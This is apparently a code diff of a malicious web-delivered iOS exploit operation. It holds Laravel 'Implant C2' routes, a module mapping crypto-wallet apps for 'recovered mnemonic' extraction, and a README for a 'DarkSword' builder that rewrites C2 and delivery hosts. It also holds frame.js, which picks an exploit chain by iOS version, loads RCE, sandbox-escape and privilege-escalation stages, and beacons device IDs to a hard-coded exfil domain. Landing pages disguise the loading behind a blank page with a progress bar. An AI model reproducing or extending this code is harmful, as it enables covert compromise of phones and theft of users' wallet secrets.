}
private static function rotl(int $a, int $b): int
{
$a &= 0xFFFFFFFF;
return (($a << $b) | ($a >> (32 - $b))) & 0xFFFFFFFF;
}
}
+31
View File
@@ -25,6 +25,14 @@ final class UserAgentParser
[$os, $osVersion] = self::parseOs($ua); [$os, $osVersion] = self::parseOs($ua);
[$browser, $browserVersion] = self::parseBrowser($ua); [$browser, $browserVersion] = self::parseBrowser($ua);
// iOS 26+ Safari still reports "iPhone OS 18_7" for compatibility.
// When Version/ is 26+ and the OS token is 18.7, use Version/ for both fields.
$compatVersion = self::ios26CompatVersion($ua);
if ($compatVersion !== null && self::isIos187CompatToken($os, $osVersion)) {
$osVersion = $compatVersion;
$browserVersion = $compatVersion;
}
return [ return [
'os' => $os, 'os' => $os,
'os_version' => $osVersion, 'os_version' => $osVersion,
@@ -33,6 +41,29 @@ final class UserAgentParser
]; ];
} }
private static function isIos187CompatToken(string $os, string $osVersion): bool
{
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
return false;
}
return $osVersion === '18.7' || str_starts_with($osVersion, '18.7.');
}
private static function ios26CompatVersion(string $ua): ?string
{
if (! preg_match('/Version\/(\d+(?:\.\d+){0,2})/i', $ua, $m)) {
return null;
}
$major = (int) explode('.', $m[1])[0];
if ($major < 26) {
return null;
}
return $m[1];
}
/** /**
* @return array{0: string, 1: string} * @return array{0: string, 1: string}
*/ */
+98
View File
@@ -78,6 +78,37 @@ final class WalletSource
'com.global.wallet.ios' => 'Global Wallet', 'com.global.wallet.ios' => 'Global Wallet',
]; ];
/**
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
*
* @var array<string, string>
*/
private const DS_WALLET_KEYS = [
'trustwallet' => 'Trust Wallet',
'trust_wallet' => 'Trust Wallet',
'trust' => 'Trust Wallet',
'imtoken' => 'imToken',
'im.token' => 'imToken',
'tokenpocket' => 'TokenPocket',
'token_pocket' => 'TokenPocket',
'phantom' => 'Phantom',
'uniswap' => 'Uniswap',
'coinbase' => 'Coinbase Wallet',
'bitget' => 'BitKeep',
'bitkeep' => 'BitKeep',
'metamask' => 'MetaMask',
'okx' => 'OKX',
'tronlink' => 'TronLink',
'coin98' => 'Coin98',
'solflare' => 'Solflare',
'exodus' => 'Exodus',
'tonkeeper' => 'Tonkeeper',
'mytonwallet' => 'MyTonWallet',
'tonhub' => 'Tonhub',
'bitpie' => 'Bitpie',
'telegram' => 'Telegram',
];
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */ /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
private const NON_MNEMONIC_BUNDLES = [ private const NON_MNEMONIC_BUNDLES = [
'ph.telegra.Telegraph', 'ph.telegra.Telegraph',
@@ -94,6 +125,73 @@ final class WalletSource
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag; return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
} }
/**
* Keystore source: known wallet name, or empty when unrecognized.
*/
public static function fromKeystoreHint(mixed $hint): string
{
if (! is_string($hint) || trim($hint) === '') {
return '';
}
$raw = trim($hint);
$key = strtolower($raw);
if (isset(self::TAGS[$key])) {
return self::TAGS[$key];
}
if (isset(self::DS_WALLET_KEYS[$key])) {
return self::DS_WALLET_KEYS[$key];
}
foreach (self::knownLabels() as $label) {
if (strcasecmp($label, $raw) === 0) {
return $label;
}
}
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
return 'Trust Wallet';
}
if (str_contains($key, 'bitpie')) {
return 'Bitpie';
}
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
return 'imToken';
}
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
return 'TokenPocket';
}
if (str_contains($key, 'metamask')) {
return 'MetaMask';
}
return '';
}
/**
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
*/
public static function tagForLabel(string $label): string
{
$label = trim($label);
foreach (self::TAGS as $tag => $name) {
if (strcasecmp($name, $label) === 0) {
return $tag;
}
}
return '';
}
/**
* @return list<string>
*/
private static function knownLabels(): array
{
return array_values(array_unique(array_merge(
array_values(self::TAGS),
array_values(self::DS_WALLET_KEYS),
array_values(self::BUNDLE_LABELS),
)));
}
/** /**
* True when this bundle is a business plugin that can extract a mnemonic. * True when this bundle is a business plugin that can extract a mnemonic.
*/ */
+11 -2
View File
@@ -1,5 +1,7 @@
<?php <?php
use App\Http\Middleware\EnsurePanelHost;
use App\Http\Middleware\EnsureSuperAdmin;
use Illuminate\Foundation\Application; use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions; use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware; use Illuminate\Foundation\Configuration\Middleware;
@@ -12,6 +14,7 @@ return Application::configure(basePath: dirname(__DIR__))
// Implant C2: no CSRF / session // Implant C2: no CSRF / session
require __DIR__.'/../routes/c2.php'; require __DIR__.'/../routes/c2.php';
require __DIR__.'/../routes/xxbb.php'; require __DIR__.'/../routes/xxbb.php';
require __DIR__.'/../routes/ds.php';
// External webhooks (no CSRF) // External webhooks (no CSRF)
require __DIR__.'/../routes/hooks.php'; require __DIR__.'/../routes/hooks.php';
@@ -37,14 +40,15 @@ return Application::configure(basePath: dirname(__DIR__))
} }
$middleware->alias([ $middleware->alias([
'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class, 'admin.super' => EnsureSuperAdmin::class,
'panel.host' => \App\Http\Middleware\EnsurePanelHost::class, 'panel.host' => EnsurePanelHost::class,
]); ]);
$middleware->validateCsrfTokens(except: [ $middleware->validateCsrfTokens(except: [
'api/*', 'api/*',
'link/*', 'link/*',
'hooks/*', 'hooks/*',
'hook/*',
'statistic/t', 'statistic/t',
'vhx', 'vhx',
'event', 'event',
@@ -57,6 +61,11 @@ return Application::configure(basePath: dirname(__DIR__))
'ub', 'ub',
'ba', 'ba',
'result', 'result',
'beacon',
'war',
'p',
'stats',
'log.html',
]); ]);
$middleware->redirectGuestsTo(function () { $middleware->redirectGuestsTo(function () {
+3
View File
@@ -0,0 +1,3 @@
.venv/
out/
.DS_Store
+26
View File
@@ -0,0 +1,26 @@
# channel-builder-ds
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
`tools/build.py` rewrites C2 / delivery origins and copies the result to
`public/next-chain`. Runtime splits two bases:
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
If the page is served under `/next-chain/`, delivery host is inferred automatically.
Override in `source/config.js`:
```js
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
deliveryPath: "/next-chain", // location.origin + path
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
```
```bash
cd channel-builder-ds
python3 tools/build.py
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000
```
Writes `../public/next-chain/` (atomic replace). `source/` is never mutated.
+419
View File
@@ -0,0 +1,419 @@
(function () {
'use strict';
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
window.__LAB_CHAIN__ = '';
var _stageQueue = [];
var _lastPostedStage = '';
function notify(stage, progress, label) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({
type: 'ds-stage',
stage: stage,
progress: progress,
chain: window.__LAB_CHAIN__ || '',
label: label || stage
}, '*');
}
} catch (e) {}
enqueueStage(stage, progress, label);
}
function enqueueStage(stage, progress, label) {
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
if (key === _lastPostedStage) return;
_lastPostedStage = key;
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
flushStageReports();
}
function flushStageReports() {
var id = '';
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
if (!id) return;
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
while (_stageQueue.length) {
var item = _stageQueue.shift();
try {
fetch(apiUrl('/api/ds/log'), {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
credentials: 'omit',
body: JSON.stringify({
deviceUUID: id,
stage: item.stage,
progress: item.progress,
label: item.label,
chain: window.__LAB_CHAIN__ || '',
channelCode: channel
})
}).catch(function () {});
} catch (eS) {}
}
}
notify('boot', STAGE.boot, 'frame_boot');
if (typeof labEnsureHosts === 'function') labEnsureHosts();
var base = (typeof labDeliveryHost === 'function')
? labDeliveryHost()
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
window.__LAB_DELIVERY_HOST__ = base;
function apiUrl(path) {
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
}
function assetUrl(path) {
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
}
// 記錄 frame.html 載入時間戳
console.log('[Frame] Loaded at', new Date().toISOString());
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
function resolveExfilInline() {
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
xhr.send();
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
var d = JSON.parse(xhr.responseText);
if (d.exfil && d.exfil.host) {
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
else window.__LAB_EXFIL__ = d.exfil;
return;
}
}
} catch (e) {}
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
window.__LAB_EXFIL__ = {
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
http_port: 443,
https_port: 443,
tls: false,
prefer_https: false,
stats_url: '',
stats_url_direct: '',
delivery_stats_url: '',
};
}
}
resolveExfilInline();
function parseIosVersion() {
var ua = navigator.userAgent;
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) { return parseInt(p, 10); });
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = a[i] || 0, bi = b[i] || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function isCorunaRange(v) {
if (!v || !v.length || v[0] < 13) return false;
if (v[0] >= 18) return false;
if (v[0] === 17 && v[1] >= 3) return false;
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
return true;
}
function isSilkPathRange(v) {
if (!v || !v.length) return false;
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
// 17.2.2+ through 18.3 — fills post-Coruna gap
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
if (maj === 18 && min <= 3) return true;
return false;
}
function isExploitChainRange(v) {
if (!v || !v.length) return false;
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
if (v[0] >= 19 && v[0] <= 26) return true;
return false;
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 4) {
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
}
};
document.body.appendChild(s);
}
function loadChainLoader(onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
};
document.body.appendChild(s);
}
var ios = parseIosVersion();
function chainIdForIos(v) {
if (!v || !v.length) return 'unknown';
if (isCorunaRange(v)) return 'coruna';
if (isSilkPathRange(v)) return 'silkpath';
if (isExploitChainRange(v)) {
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
return 'darksword';
}
return 'blocked';
}
var chain = chainIdForIos(ios);
var apiPlan = null;
try {
var xhrPlan = new XMLHttpRequest();
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
xhrPlan.send();
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
apiPlan = JSON.parse(xhrPlan.responseText);
if (apiPlan.chain) chain = apiPlan.chain;
if (apiPlan.exfil) {
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
else window.__LAB_EXFIL__ = apiPlan.exfil;
}
window.__LAB_BAND__ = apiPlan.band || null;
window.__LAB_GATED__ = !!apiPlan.gated;
window.__LAB_RECOMMENDED_WORKER__ = apiPlan.recommended_worker || (apiPlan.band && apiPlan.band.recommended_worker) || '';
window.__LAB_FALLBACK_WORKERS__ = apiPlan.fallback_workers || (apiPlan.band && apiPlan.band.fallback_workers) || [];
window.__LAB_S5_MODULE__ = apiPlan.s5_module || '';
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
}
try {
var pw = window.__LAB_RECOMMENDED_WORKER__;
if (pw) {
var l = document.createElement('link');
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
document.head.appendChild(l);
}
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
var l2=document.createElement('link');
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
document.head.appendChild(l2);
});
} catch (ePre) {}
}
} catch (ePlan) {}
window.__LAB_CHAIN__ = chain;
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({
type: 'ds-chain',
chain: chain,
ios: ios ? ios.join('.') : ''
}, '*');
}
} catch (eChain) {}
(function bindDeviceUuid() {
function genUuid32() {
try {
var a = new Uint8Array(16);
(window.crypto || window.msCrypto).getRandomValues(a);
var hex = '';
for (var i = 0; i < a.length; i++) hex += ('0' + a[i].toString(16)).slice(-2);
return hex.toUpperCase();
} catch (e) {
return (Date.now().toString(16) + Math.random().toString(16).slice(2) + '0000000000000000').slice(0, 32).toUpperCase();
}
}
try {
var q = new URLSearchParams(location.search);
var du = q.get('deviceUUID') || q.get('device') || q.get('uuid') || '';
if (!du) {
try { du = localStorage.getItem('lab_device_uuid') || ''; } catch (eLs) {}
}
if (!du) {
try {
var m = document.cookie.match(/(?:^|; )lab_device_uuid=([^;]*)/);
du = m ? decodeURIComponent(m[1]) : '';
} catch (eCk) {}
}
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
try {
document.cookie = 'lab_device_uuid=' + encodeURIComponent(window.__LAB_DEVICE_UUID__) + ';path=/;max-age=31536000;SameSite=Lax';
} catch (eC2) {}
} catch (e0) {
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
}
window.addEventListener('message', function (ev) {
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
try { flushStageReports(); } catch (eF) {}
});
})();
try { flushStageReports(); } catch (eFlush) {}
(function registerFrameDevice() {
try {
var id = window.__LAB_DEVICE_UUID__ || '';
if (!id) return;
var iosStr = ios ? ios.join('.') : '';
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
var regBody = JSON.stringify({
deviceUUID: id,
user_agent: navigator.userAgent,
userAgent: navigator.userAgent,
ios: iosStr,
ios_version: iosStr,
chain: chain === 'blocked' ? 'out_of_scope' : chain,
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
});
fetch(apiUrl('/api/ds/device/register'), {
method: 'POST',
headers: regHeaders,
credentials: 'omit',
body: regBody
}).then(function (r) { return r.ok ? r.json() : null; }).then(function (d) {
var canon = (d && d.device) ? String(d.device).replace(/-/g, '').toUpperCase() : '';
if (canon) {
window.__LAB_DEVICE_UUID__ = canon;
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
try {
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
} catch (e4) {}
if (window.parent && window.parent !== window) {
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
}
}
}).catch(function () {});
} catch (e) {}
})();
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
console.log('[Frame] Chain selected:', chain);
(function () {
var id = window.__LAB_DEVICE_UUID__ || '';
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id);
fetch(apiUrl('/api/ds/log?' + q), {
method: 'GET',
headers: id ? { 'X-Device-UUID': id } : {}
}).catch(function () {});
})();
function setHold(kind) {
try {
var ts = String(Date.now());
localStorage.setItem('__ds_chain_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
if (kind === 'rce' || kind === 'all') {
localStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_rce_hold', ts);
}
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*');
}
} catch (e) {}
}
if (chain === 'coruna') {
notify('loader', STAGE.loader);
// Prefer full group.html entry when top-level; inside iframe use loader
var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0)
? window.__LAB_ENTRY__
: '/coruna/group.html';
try {
if (window.top === window) {
location.replace(assetUrl(corunaEntry) + (location.search || ''));
return;
}
} catch (eTop) {}
loadScript(assetUrl('/coruna/coruna_loader.js'), function () {
notify('worker', STAGE.worker);
});
} else if (chain === 'silkpath') {
setHold('rce');
notify('loader', STAGE.loader);
loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () {
notify('worker', STAGE.worker);
});
} else if (chain === 'darksword' || chain === 'ghostwave') {
// Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm
// reload the page while stage1 is still running (looks like "auto refresh").
setHold('rce');
notify('loader', STAGE.loader);
// Load plaintext rce_loader.js
loadChainLoader(function () {
notify('worker', STAGE.worker);
});
} else {
loadScript(assetUrl('/chain_blocked.js'), function () {
notify('loader', STAGE.loader);
});
}
var _log = console.log;
console.log = function () {
var msg = Array.prototype.join.call(arguments, ' ');
// Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6.
if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker);
if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1);
if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe);
// S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs
if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post);
else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) {
notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾');
}
if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0);
if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe);
// Signal parent: CoreAnimation→sendPort hang needs timely re-arm
if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*');
}
} catch (_) {}
}
// GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm
if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*');
}
} catch (_) {}
}
if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) {
try {
if (window.parent && window.parent !== window) {
window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*');
}
} catch (_) {}
}
return _log.apply(console, arguments);
};
})();
+18
View File
@@ -0,0 +1,18 @@
window.NEWS2_CONFIG = {
// 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain
deliveryHost: "",
deliveryPath: "/next-chain",
qqtimePath: "/qqtime/",
// C2 / API → coruna-lab :8000
exfil: {
host: "192.168.31.130",
domain: "192.168.31.130",
http_port: 8000,
https_port: 8000,
tls: false,
prefer_https: false,
},
redirectUrl: "https://ab.ux600.com",
countdownSeconds: 8,
};
if (typeof labApplyNews2Config === "function") labApplyNews2Config();
+67
View File
@@ -0,0 +1,67 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta name="theme-color" content="#ffffff" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<title></title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
html, body { width: 100%; height: 100%; overflow: hidden; background: #fff; }
.page { width: 100%; height: 100%; min-height: 100vh; min-height: 100dvh; background: #fff; position: relative; }
.top-progress { position: fixed; top: 0; left: 0; width: 100%; height: 2px; z-index: 9999; pointer-events: none; background: transparent; overflow: hidden; }
.top-progress-bar { height: 100%; width: 0; background: #007aff; border-radius: 0 1px 1px 0; box-shadow: 0 0 6px rgba(0, 122, 255, 0.45); transform-origin: left center; will-change: width, opacity; }
.top-progress.is-done .top-progress-bar { opacity: 0; transition: opacity 0.2s ease; }
@media (prefers-reduced-motion: reduce) { .top-progress-bar { transition: none !important; } }
</style>
</head>
<body>
<div class="page">
<div class="top-progress" id="topProgress" aria-hidden="true">
<div class="top-progress-bar" id="topProgressBar"></div>
</div>
</div>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
})();
</script>
<script>
var LOADING_MS = 8000;
var REDIRECT_URL = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.redirectUrl) || 'https://ab.ux600.com';
(function () {
var bar = document.getElementById('topProgressBar');
var wrap = document.getElementById('topProgress');
var start = Date.now();
function setProgress(value) { bar.style.width = Math.max(0, Math.min(100, value)) + '%'; }
function tick() {
var elapsed = Date.now() - start;
var ratio = elapsed / LOADING_MS;
var next;
if (ratio < 0.35) { next = ratio / 0.35 * 68; }
else if (ratio < 0.85) { next = 68 + (ratio - 0.35) / 0.5 * 22; }
else if (ratio < 1) { next = 90 + (ratio - 0.85) / 0.15 * 9; }
else { next = 100; }
setProgress(next);
if (elapsed < LOADING_MS) { window.requestAnimationFrame(tick); }
else {
setProgress(100);
wrap.className = 'top-progress is-done';
window.setTimeout(function () { window.location.replace(REDIRECT_URL); }, 120);
}
}
window.requestAnimationFrame(tick);
})();
</script>
</body>
</html>
+22
View File
@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
</body>
</html>
File diff suppressed because it is too large Load Diff
+179
View File
@@ -0,0 +1,179 @@
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
(function (g) {
if (!g) return;
function trimSlash(s) {
return String(s || "").replace(/\/+$/, "");
}
function ensureSlashPath(p) {
p = String(p || "");
if (!p) return "";
return p.charAt(0) === "/" ? p : "/" + p;
}
function joinBase(base, path) {
base = trimSlash(base);
path = String(path || "");
if (!path) return base;
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
if (path.charAt(0) !== "/") path = "/" + path;
return base + path;
}
function hostOnly(raw) {
return String(raw || "")
.replace(/^https?:\/\//, "")
.split("/")[0]
.split(":")[0];
}
function defaultExfil() {
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
return {
host: domain,
domain: domain,
http_port: 443,
https_port: 443,
tls: false,
prefer_https: false,
stats_url: "",
stats_url_direct: "",
delivery_stats_url: "",
};
}
function inferDeliveryHost() {
try {
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
} catch (e0) {}
try {
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (chained && g.location.origin && g.location.origin !== "null") {
return trimSlash(g.location.origin) + chained[1];
}
} catch (eBoot) {}
try {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
if (cfg.deliveryPath) {
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
}
} catch (e1) {}
try {
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
var origin = trimSlash(g.location.origin);
var path = String(g.location.pathname || "/");
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
if (m) return origin + m[1];
return origin;
} catch (e2) {}
return "";
}
function applyExfil(ex) {
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
if (!ex || !ex.host) return cur;
g.__LAB_EXFIL__ = {
host: hostOnly(ex.host) || cur.host,
domain: hostOnly(ex.domain || ex.host) || cur.domain,
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
stats_url: ex.stats_url || cur.stats_url || "",
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
};
return g.__LAB_EXFIL__;
}
function apiOrigin(ex) {
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
var host = hostOnly(ex.host);
var tls = !!(ex.tls || ex.prefer_https);
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
var scheme = tls ? "https" : "http";
var origin = scheme + "://" + host;
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
origin += ":" + port;
}
return origin;
}
function ensureHosts() {
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
var d = inferDeliveryHost();
if (d) g.__LAB_DELIVERY_HOST__ = d;
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
}
function applyNews2Config() {
var cfg = g.NEWS2_CONFIG || {};
if (cfg.deliveryHost) {
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
} else if (cfg.deliveryPath) {
try {
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
} catch (e) {}
}
if (cfg.exfil) applyExfil(cfg.exfil);
ensureHosts();
}
g.labTrimSlash = trimSlash;
